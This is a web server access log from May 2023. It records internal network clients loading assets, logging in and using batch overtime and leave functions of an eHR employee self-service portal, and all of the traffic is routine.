192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:11:59 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.12.36 - - [25/May/2023:11:12:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:12:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.12.36 - - [25/May/2023:11:12:09 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:12:09 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [25/May/2023:11:12:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:12:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.12.36 - - [25/May/2023:11:12:10 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:12:10 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.12.71 - - [25/May/2023:11:12:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8998388436467624 HTTP/1.1" 200 14848 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:12:10 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8998388436467624 HTTP/1.1" 200 14848
192.168.11.136 - - [25/May/2023:11:12:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:12:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [25/May/2023:11:12:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:12:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.12.71 - - [25/May/2023:11:12:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8998388436467624 HTTP/1.1" 200 17030 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8998388436467624" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:12:12 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8998388436467624 HTTP/1.1" 200 17030
192.168.12.36 - - [25/May/2023:11:12:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:12:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.12.36 - - [25/May/2023:11:12:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:12:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.12.36 - - [25/May/2023:11:12:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:12:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.36 - - [25/May/2023:11:12:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.36 - - [25/May/2023:11:12:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.81:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.81:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.12.36 - - [25/May/2023:11:13:15 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.81:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.11.136 - - [25/May/2023:11:13:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:13:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:12:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:12:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:11:13:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:13:16 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:11:15:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:11:15:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 38101
192.168.11.136 - - [25/May/2023:11:14:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:15:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:14:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:15:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:11:13:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:11:13:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:11:13:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.36 - - [25/May/2023:11:16:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:11:16:50 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
